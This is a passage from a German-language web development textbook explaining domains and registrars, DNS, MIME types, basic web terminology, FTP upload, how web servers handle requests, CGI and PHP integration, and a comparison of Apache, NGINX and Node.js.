                            .co.at (kommerzielle Nutzung in Österreich),

                        

                        	
                            .gv.at (behördliche Nutzung in Österreich),

                        

                        	
                            .or.at (gemeinnützige Organisationen in Österreich) usw.

                        

                    

                

            
        
        
            3.4.2    Second-Level Domain (SLD) – die Qual der Wahl

            Die Second-Level Domain stellt die »eigentliche Domain« dar und obliegt (mit gewissen Einschränkungen) dem Betreiber selbst, wobei die Restriktionen hinsichtlich der Namenswahl gering sind:

            
                	
                    mögliche Buchstaben, Ziffern und Sonderzeichen: Beispielsweise sind Umlaute bei gewissen länderspezifischen Domains erlaubt, bei generischen Domains jedoch nicht.

                

                	
                    minimale und maximale Länge: Beispielsweise musste eine .de-Domain lange Zeit aus mindestens drei Zeichen bestehen, wobei das erste Zeichen noch dazu ein Buchstabe sein musste.

                

                	
                    Rechte Dritter, Verletzung von Markenrechten: Achten Sie bei der Domainauswahl darauf, keine Rechte zu verletzen! Das kann unter Umständen teuer werden.

                

            

            Im Allgemeinen ist man als potenzieller Betreiber einer Domain dennoch sehr frei in der Wahl ihrer Bezeichnung – das wesentlich größere Problem stellt die Verfügbarkeit einer Domain dar. Gerade diese eingeschränkte Vielfalt war einer der Gründe, warum sich die ICANN 2012 entschied, alle zwei Jahre neue allgemeine generische TLDs zu veröffentlichen.

        
        
            3.4.3    Um’s Eck zum Kiosk: Vergabestellen von Domains

            Haben Sie sich für eine Top- und Second-Level Domain in Kombination entschieden und sichergestellt, dass diese noch verfügbar ist, so ist der nächste Schritt die Registrierung dieser Domain. Hierzu existieren unterschiedliche Vergabestellen:

            
                	
                    Betreiber der TLD, offizielle Vergabestelle (»Registry«): Dies sind beispielsweise die Verwalter länderspezifischer TLDs, die üblicherweise in einem jeden Land existieren (Österreich: https://nic.at für .at, .or.at und .co.at; Deutschland: https://denic.de).

                

                	
                    Provider:

                    
                        	
                            Registrare: Dies sind spezielle Kooperationspartner der offiziellen Vergabestellen, denen es erlaubt ist, Domains zu verwalten (Beispiel: domainfactory GmbH, www.domainfactory.de).

                        

                        	
                            Reseller: Wiederverkäufer von Domains; diese arbeiten in der Regel mit Registraren zusammen und treten selbst nicht in Erscheinung (Beispiel: World4You Internet Services GmbH, www.world4you.at).

                        

                    

                

            

            
                [Info]  Whois-Dienste

                Um zu prüfen, ob eine Wunschdomain noch frei ist, bedient man sich in der Regel eines Whois-Dienstes, der im Allgemeinen ein auf einem jeden Betriebssystem zugänglicher Dienst ist und über ein Terminal aufgerufen werden kann (z. B. mittels whois syne.at). Viele Anbieter im Internet betreiben eigene Websites, die die Nutzung dieses Dienstes ermöglichen (beispielsweise https://www.whois.com).

            

            In den meisten Fällen werden Sie sich an einen Provider wenden, nur in seltenen Fällen an die offizielle Vergabestelle (denn das ist umständlich und teuer). Wesentlich bei der Registrierung einer Domain ist, dass Sie diese nicht kaufen, sondern lediglich die Nutzungsrechte erwerben. Dies geschieht üblicherweise pro Jahr, weshalb die Kosten für die Domain (konkret: für die Nutzungsmöglichkeit der Domain) jährlich mit ca. 15 bis 40 EUR zu Buche schlagen, sofern es sich um eine länderspezifische Domain handelt.

            Um eine Domain zu registrieren, müssen drei Personen- oder Unternehmensinformationen zu unterschiedlichen Informationszwecken angegeben werden:

            
                	
                    Inhaber der Domain

                

                	
                    administrative Ansprechperson

                

                	
                    technische Ansprechperson

                

            

            Selbstverständlich müssen auch Kontaktinformationen bekannt gegeben werden. Diese können jedoch aus Sicht des Datenschutzes mittlerweile vor öffentlichen Aufrufen geschützt (verborgen) werden.

        
        
            3.4.4    Nameserver und Domain Name Service (DNS) – einmal IP-Adresse und wieder zurück

            Um eine Domain nun tatsächlich auch nutzen zu können, muss die Domain in einen Nameserver eingetragen werden. Hierbei werden die Domain und die IP-Adressen (sowie die Art der Nutzung) der zuständigen Server in Verbindung gebracht.

            Nameserver sind hierarchisch aufgebaut, was bedeutet, dass nicht ein einziger Nameserver existiert, der die Daten sämtlicher Domains und IP-Adressen kennt, sondern dass es ein verzweigtes Netz an Nameservern gibt, die miteinander diese Informationen austauschen.

            Man unterscheidet zwischen autorativen Nameservern (»Primary Nameserver«), die für eine Zone verantwortlich sind und somit gesicherte Informationen bereitstellen können, und nichtautorativen Nameservern, die ihre Informationen wiederum von autorativen Nameservern beziehen. (Die Informationen eines nichtautorativen Nameservers werden als nicht gesichert angesehen, da er diese umgangssprachlich »aus dritter Hand« bezieht).

            Bevor ein User eine Domain verwenden und sie über den gewünschten Dienst (etwa www) mithilfe seines Clients nutzen kann, muss zunächst eine Namensauflösung erfolgen, mit deren Hilfe die Domain in eine IP-Adresse übersetzt wird. Weiterführende Informationen zur Funktionsweise von Nameservern finden Sie z. B. unter https://de.wikipedia.org/wiki/Domain_Name_System.

            Bevor eine Domain also überhaupt nutzbar wird, muss ein Betreiber für einen jeden gewünschten Dienst (www, mail etc.) über einen entsprechenden Provider verfügen, der diesen Dienst (in der Regel kostenpflichtig) zur Verfügung stellt. Gerade dieser Punkt der Nutzbarmachung einer Domain stellt normalerweise eine nicht unerhebliche technische Hürde dar, weshalb bei der Domain-Registrierung gerne auf einen Provider zurückgegriffen wird, der die notwendigen Hilfsmittel (oder sogar einen Automatismus) bereitstellt; die offizielle Vergabestelle ermöglicht dies in der Regel nicht. Auch geht das benötigte technische Wissen im Normalfall über die Anforderungen an Webentwickler hinaus. Fakt ist dennoch, dass der Betreiber einer Domain (und damit meint man normalerweise den Betreiber einer Website) auf entsprechende Provider zurückgreifen muss:

            
                	
                    auf einen Domain-Provider zur Nutzbarmachung einer Domain

                

                	
                    auf einen Hosting-Provider, um eine Website unter der Domain betreiben zu können

                

                	
                    auf einen Mail-Provider, um über die eigene Domain Mails versenden und empfangen zu können

                

            

            Aus diesem Grund bedient man sich gerne eines »Universal-Providers«, der neben der Registrierung der Wunsch-Domain (fungierend als Reseller von Domains) eben gerade die Hosting-Dienste für Website und Mails anbieten kann. Beispiele sind die bereits genannte World4You Internet Services GmbH mit Sitz in Linz, die Host Europe GmbH mit Sitz in Köln, der DreamHost aus Brea/USA usw.

        
    


                    
                        
        3.5    Mime Types und Content Types – Sein und Schein

        MIME- bzw. Content-Typen geben an, welchen Inhalt Dokumente besitzen und wie diese von einem darzustellenden System (beispielsweise einem Browser) verarbeitet werden sollen. Entgegen der landläufigen Meinung stellt das Suffix (die Datei-Endung) einer Datei keine ausreichende Information dar. Beispielsweise kann man sich bei einer Datei mit dem Namen urlaubsbild.jpg nicht sicher sein, ob es sich tatsächlich um eine JPEG-Datei (also eine Bilddatei) handelt oder ob diese Datei nicht einfach von virus.exe in urlaubsbild.jpg umbenannt wurde. Aus diesem Grund werden im Inhalt von Dateien üblicherweise die verwendeten Content-Typen festgehalten, sodass ein darzustellendes System das Suffix ignorieren kann.

        Der Begriff MIME ist eine Abkürzung für Multipurpose Internet Mail Extension und steht synonym für den Internet Media Type wie auch für den Content Type einer Datei. Diese Information steht wie erwähnt im Dateiinhalt und dort insbesondere im Header des (gesendeten) Dokuments. MIME Types deklarieren ebenso den Inhalt in diversen Internetprotokollen (wie etwa HTTP). Beispiele hierfür sind etwa die folgenden Content-Typen für die jeweiligen Dokumente:

        
            	
                HTML-Dokument: text/html

            

            	
                JPEG-Datei: image/jpeg

            

        

        Es existieren folgende Medientypen, die umgangssprachlich auch als die »Haupttypen« bezeichnet werden (plus mehr als 130 Subtypen):

        
            	
                application: für uninterpretierte binäre Daten, Mischformate (z. B. Textdokumente mit eingebetteten nichttextuellen Daten) oder Informationen, die von einem bestimmten Programm verarbeitet werden sollen

            

            	
                text: für Text

            

            	
                video: für Videomaterial

            

            	
                audio: für Audiodaten

            

            	
                image: für Grafiken

            

            	
                multipart: für mehrteilige Daten

            

        

        und außerdem (für die Webentwicklung weniger von Interesse):

        
            	
                example: Beispiel-Medientyp für Dokumentationen

            

            	
                message: für Nachrichten, beispielsweise message/rfc822

            

            	
                model: für Daten, die mehrdimensionale Strukturen repräsentieren

            

            	
                chemical: für z. B. Moleküle (inoffiziell)

            

        

        Insbesondere die Medientypen text und application sind voneinander zu unterscheiden, da text-basierte Dokumente Fehler (z. B. HTML-Fehler) enthalten dürfen, application-basierte Dokumente jedoch fehlerfrei sein müssen. Auf diese Unterscheidung gehe ich insbesondere in Abschnitt 5.1 »Ein bisschen in der Geschichte von HTML stöbern« noch genauer ein.

        Fehlt in einer Datei die Angabe des MIME-Typs, so erfolgt ein sogenanntes MIME-Sniffing. Dabei werden die ersten Bytes des Dokuments gelesen und es wird versucht, den Inhalt der Datei zu erkennen. Bilder im Format JPEG oder PNG sind beispielsweise relativ einfach an ihrem Header zu unterscheiden. Schlägt die Analyse fehl, wird die Dateiendung herangezogen. Danach wird entweder eine Standarddarstellung versucht (beispielsweise die Wiedergabe als HTML-Datei) oder die Wiedergabe wird mit einer Fehlermeldung abgebrochen. Die Reihenfolge der Analyse wird in einer Protokolldokumention festgelegt. So fordert beispielsweise das HTTP 1.1-Protokoll, dass immer der angegebene Content-Typ zu verwenden ist. Nur wenn er fehlt, darf MIME-Sniffing den Typ erraten.

    


                    
                        
        3.6    Ein paar notwendige Begriffsdefinitionen

        Bereits in den ersten Kapiteln habe ich immer wieder von einer »Website« gesprochen. Sie haben sich vielleicht gefragt, ob ich damit dasselbe meine wie mit den Begriffen »Webseite« oder »Homepage«. Einigen wir uns auf folgenden Sprachgebrauch:

        
            	
                Website: Unter einer Website versteht man das »Gesamte«, also sämtliche Dateien. Üblicherweise spricht man von www.orf.at als von einer Website und meint damit, dass ein Aufruf in einem Browser (formatierten) Inhalt samt weiterer Medien darstellt und dass man auch mittels Klick (oder Ähnlichem) andere Inhalte (Webseiten – siehe den folgenden Punkt) aufrufen kann. Dafür existiert auch der Begriff Internetpräsenz.

            

            	
                Webseite (Web Page): Unter einer Webseite verstehen wir ein einzelnes Inhaltsdokument, das HTML-Code beinhaltet. Dieses Dokument verweist mitunter auf weitere Inhalte wie Bilder, Videos etc., die jedoch nicht Teil des Dokuments sind. Beispiele sind die unterschiedlichen Seiten einer Website, die man (üblicherweise durch Klicks auf die Navigation) aufrufen kann. Besitzt eine Website etwa eine Navigation mit den Navigationspunkten Home | Über uns | Referenzen, so wären die Seiten, die sich nach einem Klick auf diese Punkte öffnen, die Webseiten oder Web Pages. Ein Beispiel für eine Webseite des ORF wäre etwa http://www.orf.at/stories/1234567/index.html.

            

            	
                Homepage: Die Homepage ist eine ganz besondere Webseite (Web Page), nämlich die Startseite der Website. Sie stellt üblicherweise den Einstiegspunkt in die Website dar und besitzt deshalb eine sehr wesentliche Aufgabe, soll sie dem User doch vermitteln, dass er auf der gewünschten Seite gelandet ist. Die Homepage des ORF ist beispielsweise unter http://www.orf.at/index.html zu finden.

            

        

        Sehr oft wird im täglichen Sprachgebrauch der Begriff »Homepage« synonym für »Website« verwendet. Wie Sie jedoch gesehen haben, ist dies nicht ganz korrekt, und wir sollten uns bemühen, diese Begriffe sauber zu trennen.

    


                    
                        
        3.7    Wie gelangen unsere Daten auf den Server? FTP macht’s vor

        Um eine Website schlussendlich funktional zu machen, müssen Sie natürlich den Grundstock der Website in Form einzelner Dateien liefern: Um diese Punkte kümmern wir uns in allen folgenden Kapiteln. Sind diese Dateien einmal entwickelt, müssen sie ihren Weg zum Webhosting-Dienst des gewählten Hosting-Providers finden.

        Dies erfolgt üblicherweise, indem Sie die Dateien mittels FTP (File Transfer Protocol) auf den Webserver in ein dafür bereitgestelltes Verzeichnis hochladen. Um dies zu ermöglichen, müssen Sie die Host-Adresse und das Host-Verzeichnis kennen sowie die für einen Login notwendigen Zugangsdaten besitzen. (Details hierzu finden Sie in Abschnitt 9 »Veröffentlichung und Versionierung«. Sind die Dateien einmal bereitgestellt und ist der Webserver (korrekt) mittels eines Nameserver-Eintrags verewigt, so steht dem Betrieb der Website nichts mehr im Wege.

    


                    
                        
        3.8    Wie ein Webserver funktioniert

        Bevor wir uns nun an die Entwicklung einer Website machen, muss zuvor noch klar sein, was die Funktionsweise und Aufgabe eines Webservers ist:

        Ein Webserver ist eine Software, die aus Sicht des Users nicht mehr erledigt, als eine Anfrage (Request) nach einem konkreten Dokument (Datei) entgegenzunehmen, diese Anfrage abzuarbeiten und den Inhalt des gewünschten Dokuments als seine Antwort (Response) an den Anfragenden (Client) zurückzuschicken.

        In dieser Aussage stecken mehrere kleine Stolpersteine:

        
            	
                »Anfrage nach einem konkreten Dokument«: Dies bedeutet, dass ein Webserver nur Anfragen verarbeiten kann, die sich auf Dokumente beziehen. Dies steht zunächst in einem Widerspruch zu einer Anfrage wie https://www.orf.at, denn hierin ist keine Angabe eines Dateinamens (Dokuments) zu sehen. Eine Anfrage nach einem Dokument wäre beispielsweise https://www.orf.at/abc.html, denn bei abc.html handelt es sich um eine Datei.

            

            	
                »den Inhalt des gewünschten Dokuments als seine Antwort«: Sehr wesentlich ist, dass ein Webserver keine Dateien versendet, sondern lediglich den (gegebenenfalls durch serverseitige Programmierung generierten) Inhalt einer Datei zurückliefert. Dies wird weitreichende Konsequenzen für das Kapitel über serverseitige Programmierung (siehe Abschnitt 11, »Die Serverseite oder auch das Backend – Programmieren mit PHP«) haben.

            

        

        Bleibt jedoch zwingend der erste Punkt zu klären, denn als User wissen wir ja, dass eine Anfrage an einen Webserver via https://www.orf.at korrekt ist, obwohl wir nicht nach einem konkrete Dokument gefragt haben. Was genau passiert aufseiten des Servers, dass die Anfrage dennoch klappt? Die Antwort ist folgende:

        
            	
                Der Webserver erhält zunächst keine Anfrage nach einem Dokument, und er könnte diese sofort ablehnen (was er in der Regel jedoch nicht tut).

            

            	
                Der Webserver geht nun in seiner Konfiguration auf die Suche nach dem »Standarddokument«, das er immer dann aufrufen würde, wenn keine Anfrage nach einem speziellem Dokument erfolgt ist. Üblicherweise sind die Standarddokumente als index.html, index.php oder so ähnlich benannt; wir als User kennen sie auch unter der Bezeichnung »Homepage« – eine Homepage stellt die Startseite einer Website dar.

                
                    [»]  Die Namensgebung des Startdokuments

                    Grundsätzlich dürfen wir davon ausgehen, dass der Dokumentname index.xxx lautet, wobei das xxx für viele mögliche Endungen stehen darf. Was aber, wenn mehrere index-Dateien existieren: eine index.html, eine index.php, eine index.aspx usw.? Ganz allgemein ist das erlaubt, und es kann sich hierbei sogar um eine größere Liste an unterschiedlichen Dokumenten handeln. Dabei besitzen die Dokumente eine Reihenfolge, die in der Konfigurationsdatei des Webservers abgelegt ist: Das erste Dokument dieser Liste, das der Webserver findet, wird verwendet.

                

            

            	
                Alsdann geht der Webserver auf die Suche nach einem dieser genannten Standarddokumente in demjenigen Verzeichnis, das ihm »übermittelt« wurde (im Fall von https://www.orf.at ist dies das Hauptverzeichnis). Wird er bei seiner Suche fündig, so verarbeitet er nun dieses Dokument und liefert den Inhalt dieses Dokuments an den Aufrufer zurück.

            

            	
                Sollte der Webserver bei seiner Suche nach einem Standarddokument im gegebenen Verzeichnis jedoch nicht fündig werden, so hat er wiederum mehrere Möglichkeiten, darauf zu reagieren:

                
                    	
                        Er lehnt die Anfrage final ab und liefert dem Client eine Fehlermeldung (typischerweise den Fehler 403: »Forbidden«) zurück.

                    

                    	
                        Er listet den Inhalt desjenigen Verzeichnisses auf, das angefragt wurde. Dies nennt man ein Directory Listing. Diese Variante trifft man auf (professionellen) Websites normalerweise nicht an, da dies einen sogenannten Exploit bedeutet: Es werden dem User Informationen dargestellt, die nicht für ihn bestimmt sind (Thema Sicherheitslücke). Directory Listings werden jedoch im Falle lokaler Installationen von Entwicklungsumgebungen dargestellt, da es dort sinnvoll ist.

                    

                

            

        

        
            3.8.1    Die Qual der Wahl: Apache vs. NGINX

            Zunächst einmal erscheint es aus Entwicklersicht irrelevant, mit welcher Art von Serversoftware man es zu tun hat, solange alles wie gewünscht funktioniert – bei einem Textverarbeitungsprogramm macht man sich ja auch wenig Gedanken, wo das eine Programm besser oder schlechter ist als das andere. Oder doch nicht? Die Antwort hängt oft davon ab, wie »tief« man in die Materie eindringen möchte oder wie hoch die Anforderungen (an eine Serversoftware) sind.

            Betrachtet man die historische Entwicklung von Webservern, so stellten Webserver in den Anfangsjahren ausschließlich statische Informationen bereit, wobei man unter »statischen Dateien« solche versteht, in denen der bereitzustellende Inhalt (beispielsweise der eines HTML-Dokuments) bereits fix fertig vorliegt. Im Falle von Websites wären dies Webseiten, die ein Webdesigner bereits vollständig mit HTML-Code befüllt hat und in denen keine (dynamischen) Änderungen am Inhalt mehr vorgenommen werden.

            Im Gegensatz zu statischen Dokumenten stehen dynamische Dokumente. Bei diesen Dokumenten steht der bereitzustellende Inhalt noch nicht fest, sondern muss erst erzeugt werden. Dies trifft beispielsweise immer dann zu, wenn Daten, die auf einer Webseite dargestellt werden sollen, aus einer Datenbank gelesen werden müssen. Klassische Vertreter solcher Websites sind Onlineshops, soziale Plattformen, Content-Management-Systeme oder eben all jene Websites, die den Inhalt entsprechend den Anforderungen der User »zusammenstellen« wollen bzw. müssen.

            
                Dynamische Websites mit CGI-Scripts

                Die dynamischen Dokumente prägen mittlerweile die weitaus größere Anzahl der Websites, denn fast keine Website arbeitet mehr mit statischen Inhalten. Webserver sind aber von sich aus nicht in der Lage, dynamische Inhalte zu generieren, denn die wesentliche Aufgabe eines Webservers ist lediglich das Entgegennehmen und Abarbeiten eines Requests und das Generieren eines Response. Das alles hat mit der Erzeugung der bereitzustellenden Daten nichts zu tun.

                Aus diesem Grund musste das vorhandene Muster, nach dem ein Webserver ausschließlich den Inhalt eines angeforderten Dokuments bereitstellen muss, erweitert werden. An dieser Stelle kam CGI (Common Gateway Interface) als eine Schnittstelle eines Webservers mit einem compilierten Programm ins Spiel. Es wurden (und die Betonung liegt auf »wurden«) also kleine Programme in einer mehr oder weniger beliebigen Programmiersprache (beispielsweise C oder auch Java) geschrieben, die über CGI als Vermittler aufgerufen wurden und Daten für die Auslieferung als HTML-Dokument wiederum an CGI bereitstellten. Das HTML-Dokument wurde anschließend wieder dem Webserver übergeben, der somit eine Antwort an den Client zurücksenden konnte.

                Der erste große Nachteil von CGI-Scripts liegt in der geringen Performance, da für jeden Aufruf eines CGI-Scripts ein eigener Prozess auf dem Server initiiert werden muss. Da die meisten CGI-Scripts in Perl geschrieben wurden, musste bei jedem Aufruf eines CGI-Scripts der recht umfangreiche Perl-Interpreter geladen werden, wodurch ein großer Overhead entstand, bei dem das Laden des Interpreters oft mehr Zeit in Anspruch nahm als die eigentliche Ausführung des aufzurufenden Programms. Dem nicht genug: Das Ganze musste bei einem jeden (parallelen) Aufruf eines CGI-Scripts erfolgen. In Verbindung mit einer in der Regel geringen Leistungsfähigkeit des Systems, das dem Webservers zugrunde lag, führte dies dazu, dass Webserver nur eine geringe Anzahl an CGI-Anfragen gleichzeitig erlaubten, wodurch wiederum eine Art »Warteschlange« eingeführt werden musste.

                Der zweite wesentliche Nachteil von CGI-Scripts ist die Zusammenarbeit mit compilierten Programmen, die über die CGI-Scripts aufgerufen werden. Der Einsatz compilierter Programme hat zwar den Vorteil, dass compilierte Programme in der Regel (wesentlich) schneller ausgeführt werden können als interpretierte Programme; sie müssen jedoch einerseits bei jeder Veränderung des dahinterliegenden Codes neu compiliert werden (was für Sie bei der Entwicklung einen Mehraufwand bedeutet), und andererseits sind sie nicht plattformunabhängig und müssen somit auf das Betriebssystem der Serverhardware zugeschnitten sein. Eine jede Veränderung am Betriebssystem kann ein neuerliches Compilieren nach sich ziehen. Interpretierte Scripts unterliegen diesem Problem nur bedingt: Lediglich der Interpreter muss in Harmonie mit dem Betriebssystem ablaufen, nicht jedoch das von Ihnen programmierte System.

            
            
                FastCGI als Performance-Boost

                Um die Performance-Probleme in den Griff zu bekommen, wurde FastCGI ins Leben gerufen, bei dem der Perl-Interpreter nur ein einziges Mal geladen wurde und beliebigen Requests (auch von unterschiedlichen Clients) zur Verfügung steht.

            
            
                Serverseitige Programmiersprachen als bessere Alternative

                Heutzutage werden compilierte Programme im Rahmen von Websites nur noch sehr, sehr (sehr) selten eingesetzt, da in der Generierung dynamischer Websites mittlerweile bessere Alternativen existieren:

                
                    	
                        PHP (Hypertext Pre-Processor) ist eine serverseitige Programmiersprache, die auf Serverseite über einen PHP-Interpreter verarbeitet wird, der üblicherweise als Erweiterung zu einem Webserver installiert wird. PHP ist weiters die einzige serverseitige Programmiersprache, die rein für Webanwendungen entwickelt wurde, weshalb sie auch eine sehr hohe Verbreitung aufweist.

                        PHP ist die meistgenutzte serverseitige Sprache mit einer Verbreitung von knapp 77,4 %. Der Aufruf des PHP-Interpreters erfolgt nach wie vor über ein (Fast)CGI-Script (oder über eine ISAPI-Schnittstelle von Microsoft). Nach wie vor besteht also der Nachteil, dass – wie im Fall von Perl auch – der PHP-Interpreter bei jedem Aufruf durch den Webserver geladen werden muss und somit Ressourcen beansprucht bzw. die Verarbeitung der Anfrage verlangsamt. Um PHP für einen Webserver verfügbar zu machen, stehen mittlerweile drei Varianten zur Einbindung von PHP bereit:

                        
                            	
                                mod_php ist ein Modul, das speziell für den Apache Webserver geschrieben wurde und den PHP-Interpreter in den Webserverprozess integriert, wodurch (zumindest) kein eigener Prozess für den PHP-Interpreter erzeugt werden muss, sondern alles vom Apache-Prozess verarbeitet wird. Der Performance-Gewinn liegt gegenüber CGI bei 300 bis 500 % aufgrund diverser Caching-Methoden, jedoch existiert mod_php nur für den Apache Webserver.

                            

                            	
                                CGI/FastCGI mit seinen obig genannten Vor- und Nachteilen

                            

                            	
                                FPM (FastCGI Process Manager) ist eine Alternative zu FastCGI, bei der immer ein zu einem Webserverprozess paralleler FPM-Prozess existiert, an den PHP-Anfragen vom Webserver weitergeleitet werden.

                            

                        

                    

                

                Abgesehen von PHP existieren natürlich auch weitere serverseitige Sprachen:

                
                    	
                        Python kann auf der Serverseite genauso wie PHP als eine interpretierte Sprache verwendet werden. Jedoch wurde Python nicht rein für Webanwendungen erdacht, sondern ist vielmehr eine universelle Sprache. Das hat zwar den Vorteil, dass Sie an vielen unterschiedlichen Stellen auf Python treffen werden, dafür müssen Sie aber andererseits auch darauf achten, welche Funktionalitäten der Programmiersprache in welcher Umgebung (Webserver, Applikation etc.) verfügbar sind. Für die Integration von Python in einen Apache Webserver steht ein Modul namens mod_python bereit.

                    

                    	
                        ASP und ASP.Net sind Microsoft-Entwickklungen. ASP war lange Zeit nur für den Internet Information Server (ISS; einen Webserver von Microsoft) verfügbar, wurde dann jedoch auch für Apache veröffentlicht. Nichtsdestotrotz ist ASP passé, da es im Jahr 2002 von ASP.Net abgelöst wurde. ASP.Net ist Teil des Microsoft .Net-Frameworks, das auf dem IIS läuft. Mit einer Verbreitung von 7,6 % ist es die am zweithäufigsten verwendete Sprache auf Webservern.

                    

                

                Damit sind wir zwar der Antwort auf die Frage nach der Serversoftware unserer Wahl noch keinen Schritt näher gekommen, aber Sie haben (hoffentlich) eine bessere Idee von der Funktionsweise dynamischer Webseiten.

            
            
                Was haben CGI & Co. mit Apache vs. NGINX zu tun?

                Nun, diese Frage erscheint zunächst nicht unberechtigt. Bis dato haben wir zwei Fragen geklärt:

                
                    	
                        Was ist der Unterschied zwischen statischen und dynamischen Webseiten?

                    

                    	
                        Wie verarbeitet ein Webserver ein statisches und wie ein dynamisches Dokument?

                    

                

                Also weiter im Text: Zunächst lohnt einmal ein Blick in die Statistik zur Webserver-Verbreitung, wie wir sie etwa unter https://w3techs.com/technologies/overview/web_server finden: NGINX (33,9 %) und Apache (32,8 %) liegen etwa gleichauf, Node.js ist mit 2 % weit abgeschlagen. Wo liegen die Gründe hierfür?

                
                    Apache Webserver

                    Der Apache Webserver (oder auch Apache HTTP-Server/Apache HTTPD) ist eine Open-Source Webserver-Software, die HTTP-Anfragen eines Clients mit einem entsprechenden Response beantwortet. Für ihn spricht die hohe Verbreitung von kapp 33 % (vgl. https://w3techs.com/technologies/details/ws-apache), wodurch er aktuell die Nummer Zwei der am weitesten verbreiteten Webserver auf dem Markt ist. Zudem spricht für ihn, dass er für alle gängigen Betriebssysteme (Plattformen) verfügbar ist und somit in vielen Softwarepaketen für Entwickler (wie XAMPP, LAMP, MAMP) gefunden wird. Ein großer Vorteil des Apache Webservers ist außerdem seine Modularität, wodurch Erweiterungen (wie PHP oder Python) einfach hinzugefügt werden können.

                    Die Architektur des Apache sieht vor, dass eingehende Anfragen prozessorientiert verarbeitet werden, was bedeutet, dass für eine jede Anfrage an den Server ein eigener Thread (Hintergrundprozess) erzeugt wird, was wiederum sehr resourcenfressend ist. Glücklicherweise existieren mehrere Multi-processing Modules (MPMs), die auf diese Problematik unterschiedlich eingehen – wir werden es an dieser Stelle damit belassen.

                    Ob statische oder dynamische Daten ausgeliefert werden, ist dem Apache in der Regel einerlei: Statische Dateien kommen seinem »file-based approach« sehr entgegen, und mithilfe seiner Modularität können serverseitige Scriptsprachen (wie PHP oder Python) einfach integriert werden.

                    Eine weitere Stärke von Apache ist die verzeichnisbasierte Konfigurationsmöglichkeit, die es Ihnen erlaubt, mittels einer .htaccess-Datei jedes Verzeichnis individuell zu konfigurieren und so beispielsweise vor unerwünschten Zugriffen zu schützen.

                    Für den Apache spricht auch seine (sehr) gute Erweiterbarkeit mittels Modulen, die dynamisch integriert werden können. Das bedeutet, dass Sie – sofern ein administrativer Zugriff möglich ist – die Module ohne Neu-Installation des Apache aktivieren oder deaktivieren können. Aktuell existieren über 50 Module, die dem Apache zu mehr Funktionalität verhelfen. Weil jede Apache-Installation bereits vorkonfiguriert ausgeliefert wird, empfiehlt es sich, einen genauen Blick auf diese Module zu werfen und nicht benötigte Module zu deaktivieren.

                    Das Thema Security wird bei der Apache Software Foundation sehr groß geschrieben. Die Mitglieder dieser Open-Source-Organisation arbeiten ständig daran, auftretende Sicherheitsprobleme so schnell wie möglich zu beheben. Dabei hilft ihnen einerseits die große Community, andererseits betreiben sie die Apache Server Announcement-Mailingliste, um Administratoren rasch zu informieren, sollten Sicherheitslücken entdeckt werden. Insbesondere Denial-of-Service-(DOS-)Attacken sind für Webserver ein wesentliches Thema, und es wird versucht, sie über diverse Timeout-Funktionalitäten in den Griff zu bekommen.

                
                
                    NGINX (sprich: »Engine eX«)

                    NGINX ist ebenfalls Open-Source, kann jedoch auf keine so lange Historie wie Apache zurückblicken. Es gilt dafür aber (in manchen Bereichen) als sehr performant und gut skalierbar. Die Verbreitung von NGINX liegt bei knapp 34 %, was diesen Webserver an die erste Position in der Statistik hievt (https://w3techs.com/technologies/details/ws-nginx). Eine Stärke von NGINX ist das Bereitstellen statischer Dateien aufgrund seines hervorragenden Cachings.

                    Neben der reinen Anwendung als Webserver wird NGINX auch gern als Loadbalancer oder Reverse Proxy bzw. für das Cachen von Daten eingesetzt.

                    NGINX arbeitet im Gegensatz zu Apache nicht prozessorientiert, sondern ereignisbasiert. Die Anfragen sind asynchron und nichtblockierend (non-blocking) angelegt, was es NGINX ermöglicht, mehrere Anfragen parallel in einem einzigen Prozess zu verarbeiten, und ihm somit zu einer hohen Performance und Skalierbarkeit (Vergrößerung des Systems, beispielsweise durch Verbessern der Hardware) verhilft. Aus diesem Grund wird NGINX auch sehr gerne für Websites eingesetzt, auf denen viele Anfragen zu verarbeiten sind.

                    Wie bereits erwähnt, kann NGINX sehr gut mit statischem Content umgehen, mit dynamischem Content jedoch weniger gut. NGINX bietet keine Modul-Integration für Skriptsprachen wie PHP oder Python an und muss dynamische Inhalte deshalb mittels FPM-PHP oder FastCGI einbetten.

                    In puncto individuelle Konfiguration bietet NGINX keine Möglichkeiten an. Dies mag vielleicht im ersten Moment – und sofern zwingend erforderlich – als Nachteil angesehen werden, jedoch ermöglicht der Verzicht auf diese Individualkonfiguration dem NGINX wiederum höhere Performance und Skalierbarkeit.

                    Auch NGINX stellt mit ca. 100 Modulen eine breite Palette an Modulen bereit, jedoch können diese nicht dynamisch integriert werden, weshalb die Integration zusätzlicher Module nur über eine Neu-Installation möglich ist. Hierdurch wird das Verwenden zusätzlicher Module unmöglich für Webentwickler, die keine Installationsrechte am Server haben (was in der Praxis meist der Fall ist). Erst die kostenpflichtige Version NGINX Plus ermöglicht ein dynamisches Laden von Modulen.

                    Selbstverständlich liegt die Security auch den Entwicklern von NGINX am Herzen, was sie durch Rate-Limiting oder im Fall der Verhinderung von Distributed Denial- of-Service-(DdoS-)Attacken durch Erlauben oder Verhindern des Zugriffs auf die IP-Adressen der Clients unter Beweis stellen. Auch unterstützt NGINX die aktuellste Version von TLS (Transport Layer Security), was eine gute Verschlüsselung für die Übertragung von Daten bedeutet.

                
                
                    Und Node.js als Webserver?

                    Node.js ist eine sogenannte Runtime (Laufzeitumgebung) und kein Webserver per se. Selbstverständlich bietet eine solche Runtime auch die Möglichkeit, einen Webserver bereitzustellen, und das an sich auf relativ einfache Art. Die Sache ist jedoch die: Sie als Entwickler*in müssen einen Webserver programmieren, anstatt ihn einfach ausführen und gut ist es.

                    Dennoch wird Node.js auch gerne im Zusammenhang mit Webservern erwähnt, und das nicht ohne Grund: PHP in seiner Funktion als die meist genutzte serverseitige Programmiersprache bietet so gut wie keine Möglichkeit an, sogenannte Web-Sockets zu nutzen (es sei denn, man würde den Server als permanent laufenden Application-Server betreiben). Die Web-Sockets werden aber im Zusammenhang mit Chat- oder ähnlichen Kommunikationssystemen benötigt, um ein System nicht zu überlasten.

